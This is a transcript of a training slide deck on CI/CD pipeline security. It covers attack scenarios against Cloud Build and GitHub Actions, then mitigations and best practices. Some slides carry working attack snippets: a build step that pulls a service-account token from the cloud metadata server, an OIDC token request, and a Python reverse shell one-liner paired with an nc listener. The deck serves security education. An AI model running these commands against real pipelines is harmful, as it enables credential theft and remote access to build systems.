(Reference) https://github.com/rung/threat-matrix-cicd

View Slide

Attack Scenario 1 - Supply-chain attacks to managed CI/CD Pipeline
● Supply Chain Attacks like CodeCov
○ Circle CI’s Secret Environment Variables has global scope in the same repository.
So any branch can see the env vars. (No isolation between CI and CD)
85

View Slide

Attack Scenario 2 - General Conﬁguration of IaC by Cloud Build
● Infrastructure as Code through the CI/CD pipeline
○ Infrastructure as Code through the CI/CD pipeline
■ GCP Cloud Build can access Secret Manager transparently if Cloud Build
has the appropriate role
■ If not set up properly, main branch and other Isolation will not be done
○
■
■
86

View Slide

Attack Scenario 2 - Attacks targeting common conﬁgurations of IaC by Cloud Build
Device
(Write
Permission)
Plan Apply
✔
Credential For Cloud
Configuration
Approver
Infrastructure as
Code
Cloud Build Cloud Build
GitHub
Secret Manager
Merged
Cloud
Infrastructure
Branch: dev Branch: main
CI CD
C&C
1. Malware Infection via Phishing
2. Kick CI by push and
modify cloud build config
Metadata Server
3. Metadata server provides Temporary
Google Service Account Token
4. Attacker retrieves credential from Secret Manager
87

View Slide

(Ref) Attack Scenario 2 - IaC by Cloud Build
88
● 1. Kick CI/CD(GCP Cloud Build) Using Valid Credentials
○ Push from branches run Cloud Build
■ Code Execution
● Modify Cloud Build conﬁguration (cloudbuild.yaml)
● Code Execution through infrastructure as code software tools
○ E.g. Terraform: RCE by provider installation(put provider binary
with .tf), External provider
● 2. Privilege Escalation by Metadata’s Service Account Token
○ Most of CI/CD services assign the same role to all branches by default
■ Cloud Build also assigns the same role
cloudbuild.yaml (Cloud Build Conﬁguration)
steps:
- name: 'curlimages/curl'
args: ["curl", "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token", "-H",
"Metadata-Flavor: Google"]...

View Slide

(Ref) Attack Scenario 3 - Privilege Escalation in the CI/CD pipeline (Self-hosted)
● Privilege Escalation and Lateral Movement to Important Pipelines
○ Example of containerized CI/CD pipeline
● Real World Example (Sep, 2021)
○ Teleport - Anatomy of a Cloud Infrastructure Attack via a Pull Request
■ https://goteleport.com/blog/hack-via-pull-request/
89

View Slide

Exercise 4: Attack against CI/CD
● Goal
○ Attack on CI/CD pipelines and understanding the attack surface
■ Assume developer's device is compromised
■ Assume tool/software dependencies are compromised
● Exercise
○ Overwrite source code without any review
○ Steal secret from non-protected branch
○ Try Supply-Chain attacks via Actions the repository uses
○ Steal IaC's CI(read) token, then see tfstate ﬁle on Google Storage
○ Steal app's deployment token(now, it's owner), But even if it's editor, it can be escalated
to Owner. How?
90

View Slide

About the CI/CD pipeline that was attacked in the previous exercise,
Consider how to protect it
91
3. Considering how to protect CI/CD
and understand the limitations

View Slide

Considering how to protect CI/CD and understand the limitations
Securing CI/CD
● Resources for CI/CD Security
○ ATT&CK-like Threat matrix contains a "Mitigation" column
■ Can be used to determine CI/CD security design
○ Top 10 CI/CD Security Risks also includes Recommendation
○ Best practices are also useful (SLSA).
● CD requires production-level security
○ If CD can deploy, it should be considered part of production.
https://github.com/rung/threat-matrix-cicd 92

View Slide

Components of CI/CD
Name Tools
Device ● Developer Workstation: Mac/Win/Cloud-based
Git Repository
Service (SCM)
● GitHub, GitLab
CI ● CI/CD Services (e.g. CircleCI, Cloud Build, Codebuild, GitHub Actions)
CD
● CI/CD Services (e.g. CircleCI, Cloud Build, Codebuild, GitHub Actions)
● CD Services (e.g. Spinnaker, ArgoCD)
Secret
Management
● Secret Management Services (e.g. AWS Secret Manager, GCP Secret
Manager, Hashicorp Vault)
Production
environment
● Cloud Services (e.g AWS, Google Cloud, Microsoft Azure)
● Other Resources (e.g. Container Registry, Linux Server, Kubernetes)
93

View Slide

Mitigation
Attacker’s Server
C&C
Valid Token from
External Network
94
●
Source Code
(Git Repository)
Device
Production
Build/Test Deploy
✔
Approver
● Proper Access Controls
● Least Privilege
● Rate Limiting
● Enforce Signed Commits
● Audit Logging and Monitoring
Approved
Secret Manager
● Network restrictions
● Audit Logging and
Monitoring
● Rate Limit
CI CD
● Hardened Self-Hosted (Not Managed) which has
it’s own network
● Isolation between CI and CD
● Keyless
● Doesn’t use untrusted tools
● Tool Integrity Checks
● Blocking Code Execution (Disallow CI/CD conﬁg
modiﬁcation without review, etc)
●
● Use Secret Manager through temporary token(Keyless)
● Isolation between main branch and other branches
● Proper key management (Key Rotation, Least Privilege and
Separate permission between CI and CD, etc)
● Network Restrictions
❌
❌
Egress Restriction
❌
❌
Network
Restriction to API
Secret Manager

View Slide

Look back to Common Security Principles
● Static credentials can be a Single Point of Failure. Once stolen, they can be abused anywhere
● Looking at the overall ﬂow of attacks, rather than taking intelligent countermeasures, it could
be effective to begin with Network Egress restrictions or to reduce the scope of access to
credentials to prevent 3rd party tools from accessing tokens, etc
● Thinking back to the common security principles
○ Defense in depth
■ Network Restriction, Isolation between CI and CD, Reducing Attack Surface,
Integrity Checks
■ Keyless
■ Establish a process to change keys when they may have been abused quickly
○ Least Privilege
■ Always enforce least privilege
○ Others
■ Multi-party authentication(Requiring Approval)
■ Audit logging and Security Monitoring, etc
● Additional considerations are needed to monorepo architectures
○ Should be isolated by environment folder or context
95

View Slide

Managed vs Self-hosted
● Problems with managed CI/CD Pipelines
○ Lack of visibility and extensibility
○ Shared network between other companies
● Options of self-hosted CI/CD
○ 1. use self-hosted runner with commercial CI/CD
○ 2. build the whole CI/CD infrastructure inhouse based on OSS CI/CD
(Operation cost is higher)
● No perfect solution provided!
○ CI/CD security is still a new area.
Creating a secure CI/CD pipeline requires threat modeling and security-aware
design
96

View Slide

Exercise 5: Secure your CI/CD pipeline
● Goal
○ Try to secure CI/CD pipeline from attacks and understand the limitation
● Exercise
○ Configure Branch Protection
○ Configure OIDC, then try keyless between GitHub actions and Google Cloud
○ Enter GitHub Actions using Tailscale and reverseshell (The procedure is in the slide)
○ Steal Google Service Account Token in the keyless environment
○ Steal IaC's CI(read) token, then see tfstate file on Google Storage
■ Then Consider what role CI should have to do Least Privilege policy
97

View Slide

(Reference) GitHub Actions OIDC Token (Keyless)
● Flow
● Structure of ID Token (repository: rung/actions-test, branch: test-run)
98
Actions ID Provider
curl -H "Authorization: bearer ${ACTIONS_ID_TOKEN_REQUEST_TOKEN}"
"${ACTIONS_ID_TOKEN_REQUEST_URL}&audience="
ID Token
Format: JWT(JWS)
Header: {"typ":"JWT","alg":"RS256","x5t":"...","kid":"..."}
Payload:
{"jti":"..."","sub":"repo:rung/actions-test:ref:refs/heads/test-run","aud":"","ref":"refs/heads/test-run","sha":"...","repo
sitory":"rung/actions-test","repository_owner":"rung","repository_owner_id":"...","run_id":"...","run_number":"...","run_attempt":"1"
,"repository_visibility":"private","repository_id":"...","actor_id":"...","actor":"rung","workflow":"...","head_ref":"","base_ref":""
,"event_name":"push","ref_type":"branch","job_workflow_ref":"rung/actions-test/.github/workflows/cron.yml@refs/heads/test-run","iss":
"https://token.actions.githubusercontent.com","nbf":...,"exp":<300sec>,"iat":...}
Spec of Claims
Conﬁguring OpenID Connect in cloud providers - GitHub Docs

View Slide

(Reference) Go into CI/CD and execute commands
● Using Tailscale or similar, you can see what's in your CI/CD without having to set up a server.
○ (It will be able to communicate directly with the device using the Mesh network)
○ 1. Reverse shell from Actions to your device
○ 2. Waiting on your device connected to Tailscale
99
- name: Setup Tailscale
uses: tailscale/github-action@main
with:
authkey: ${{ secrets.TAILSCALE_SECRET_FOR_DEBUG }}
- name: shell
run: |
export RHOST="";export RPORT=8080;python -c 'import
socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in
(0,1,2)];pty.spawn("/bin/sh")'
% nc -l 8080
$ hostname
hostname
fv-az399-545
$ curl -H "Authorization: bearer ${ACTIONS_ID_TOKEN_REQUEST_TOKEN}" "${ACTIONS_ID_TOKEN_REQUEST_URL}&audience=test"

View Slide

○ We understood why CI/CD pipelines have become widespread and what they
can be used for, and we used them in hands-on exercises.
● Understanding and practicing attacks targeting CI/CD pipeline
○ We understood attacks targeting the CI/CD pipeline, then performed
hands-on exercises
● Considering how to protect CI/CD and understand the limitations
○ We considered how to protect CI/CD and the limitations and practiced how to
protect them
100

View Slide

Let’s wrap it up
101

View Slide

(Recap) Goal
Threat Modeling for
architecture design
(Microsoft)
Improving security through
cooperation between attackers and
defenders perspective
(SANS)
102
● Understand attack paths through the modern
● Be able to determine the level of importance for each
item of the best practices from a development
environment perspective.
● Be able to perform Threat Modeling and Security
Design for new technologies where best practices have
not yet been established

View Slide

Agenda
1. Introduction -
2. What remains for
development devices
outlined below
methods
improve security
103
Learn about the new risky component: CI/CD pipeline, and why it is
dangerous.
● Understanding and practicing attacks targeting CI/CD pipeline
limitations
We understood that application breaches could happen
in an attack scenario through the development environment.

View Slide

Special Thanks!
104

View Slide

Special Thanks!
● Security 2022 Web Security Class
○ Producer: Takashi Yoneuchi
○ Tutor: Yuta Morioka
● Reviewer / Advisor (Abc order)
○ Ginji Hayashi
○ Kengo Suzuki
○ Masahiro Yamada
○ Miki Takahashi
○ Mitsuaki (Mitch) Shiraishi
105

View Slide

References
106

View Slide

References
● 1. Introduction - The Changes in the Development Environment and the Attack paths
○ Tomohisa Ishikawa, 2022”Textbook of Cyber Threat Intelligence” (in Japanese)
○ Adam Shostack, 2014 ”Threat Modeling: Designing for Security”
○ Purple Teaming Explained
○ Threat Modeling at Mercari
○ MITRE ATT&CK®
○ The Uniﬁed Kill Chain
○ MITRE ATT&CK Defender™ (MAD) ATT&CK® Fundamentals Badge Training
○ Microsoft Security Development Lifecycle Threat Modelling
● 2. What remains for development devices
○ The C2 Matrix
○ Pursuing evasive custom command & control - GuideM
○ Chromium Docs - Chrome Security FAQ
○ About Multifactor Authentication | Okta
○ GitHub - swisskyrepo/PayloadsAllTheThings
○ HackTricks
○ Stealing Chrome cookies without a password
○ GitHub - moonD4rk/HackBrowserData
107

View Slide

References
● 3. CI/CD pipeline security
○ Attacking and Securing CI/CD Pipeline - Speaker Deck
○ Terraform CI code execution restrictions | Mercari Engineering
○ Common Threat Matrix for CI/CD Pipeline
○ Top 10 CI/CD Security Risks
○ SLSA: Supply-chain Levels for Software Artifacts
○ CNCF Software Supply Chain Best Practices
○ The Insecure Software Supply Chain - A History of Failure and a New Way Forward
108

View Slide

Dangerous attack paths: Modern Development Environment Security - Devices and CI/CD pipelines

Dangerous attack paths: Modern Development Environment Security - Devices and CI/CD pipelines

Hiroki Suezawa (@rung)

More Decks by Hiroki Suezawa (@rung)

Other Decks in Technology

Featured

Transcript